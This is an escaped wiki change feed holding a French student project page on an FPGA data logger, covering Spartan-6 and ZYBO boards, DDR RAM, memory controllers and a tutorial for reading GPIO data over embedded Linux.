[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DMA.PNG&amp;diff=27732</id>
		<title>Fichier:DMA.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DMA.PNG&amp;diff=27732"/>
				<updated>2016-02-23T19:34:01Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27731</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27731"/>
				<updated>2016-02-23T19:31:13Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Récupération des données des GPIOs */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6  et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto8.PNG|100px|thumb|right|o°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
m°)Il faut maintenant ajouter l'IP au design. Cliquer sur Open Block Design, puis click droit → Add IP et choisir myLed0. Relier comme sur l'image le I/O de l'IP en cliquant sur « run connection automation ».&amp;lt;br&amp;gt;&lt;br /&gt;
n°)Clique droit sur l'IP → create port, le nommer LED sur 4 bit et supprimer le précédent port. Relier le port de sortie à LED.&amp;lt;br&amp;gt;&lt;br /&gt;
o°)Dans les sources du Project manager, allez dans constraints, et ouvrir base.xdc et modifier comme sur l'image. &amp;lt;br&amp;gt;&lt;br /&gt;
p°) Dans le flow navigator, cliquer sur create bitstream.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Préparation et utilisation de la carte µSD=====&lt;br /&gt;
q°)Dans notre dossier de travail, nous avons 4 fichiers :&lt;br /&gt;
*boot.bin&lt;br /&gt;
*devicetree.dtb&lt;br /&gt;
*uImage&lt;br /&gt;
*le fichier *.bit que l'on vient de générer et que l'on renomme xillydemo.bit&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
r°)Monter la carte µSD dans le PC sous linux. Créer une partition de 36Mo en FAT16 et une partition qui prend tout le reste de la place en ext4. Personnellement après de nombreuse tentatives, je recommande GParted.&amp;lt;br&amp;gt;&lt;br /&gt;
s°)Copier les quatre fichiers sur la partition de 36Mo.&amp;lt;br&amp;gt;&lt;br /&gt;
t°)Éteindre la board avec le switch. Mettre le jumper de boot sur SD. Installer la carte SD dans le slot. Allumer la board.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vous pouvez maintenant brancher un câble HDMI ou VGA à la board pour y connecter un écran, ainsi qu'un clavier pour faire la configuration et l'installation de Ubuntu. Le nom d'utilisateur est root et le mot de passe est toor. Le mieux est de faire un apt-get update, puis un apt-get upgrade pour mettre à jour les paquets. Il est maintenant nécessaire d'installer les paquets pour ssh si ce n'est pas déjà fait. Il est aussi nécessaire d'installer python.&amp;lt;br&amp;gt;&lt;br /&gt;
=====Récupération des données des GPIOs=====&lt;br /&gt;
C'est là que le fichier d'adressage qui se situe dans Pack_bit si vous n'avez pas fait votre propre bitstream ou dans Vivado → Open Block Design → Adress Editor, va nous servir.&lt;br /&gt;
	On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO.&lt;br /&gt;
	Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans /dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado :&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On voit que les offset des LED et des SWITCH correspondent.&lt;br /&gt;
	J'ai ensuite crée un serveur apache sur le linux du ZYBO et j'ai affiché les données que j'ai collécté sur un graphique que je peux atteindre en tapant l'adresse ip de la machine.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
J'ai pu mesurer la vitesse d'acquisition des données, celle ci n'est pas très élevé. On obtient 180 Ko/s. Ce pendant cette méthode est utile si on veut récupérer les données qui sont dans la RAM. En effet, j'ai pu tester des codes en C qui permettent de récupérer directement les données qui sont dans la RAM à partir du linux embarqué. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Tuto9.PNG|500px|thumb|center]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
C'est là que le fichier d'adressage qui se situe dans Pack_bit si vous n'avez pas fait votre propre bitstream ou dans Vivado → Open Block Design → Adress Editor, va nous servir. On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO. Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans /dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado:&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Adress_map.PNG|500px|thumb|center]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On voit que les offset des LED et des SWITCH correspondent. J'ai ensuite crée un serveur apache sur le linux du ZYBO et j'ai affiché les données que j'ai collécté sur un graphique que je peux atteindre en tapant l'adresse ip de la machine. J'ai   pu   mesurer   la   vitesse d'acquisition   des   données,   celle   ci n'est pas très élevé. On obtient 180 Ko/s. Ce pendant cette méthode est utile si on veut récupérer les données qui sont dans la RAM. En effet, j'ai pu tester des codes en C qui permettent   de   récupérer   directement   les données qui sont dans la RAM à partir du linux embarqué.&lt;br /&gt;
&lt;br /&gt;
==Fichiers==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR3&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
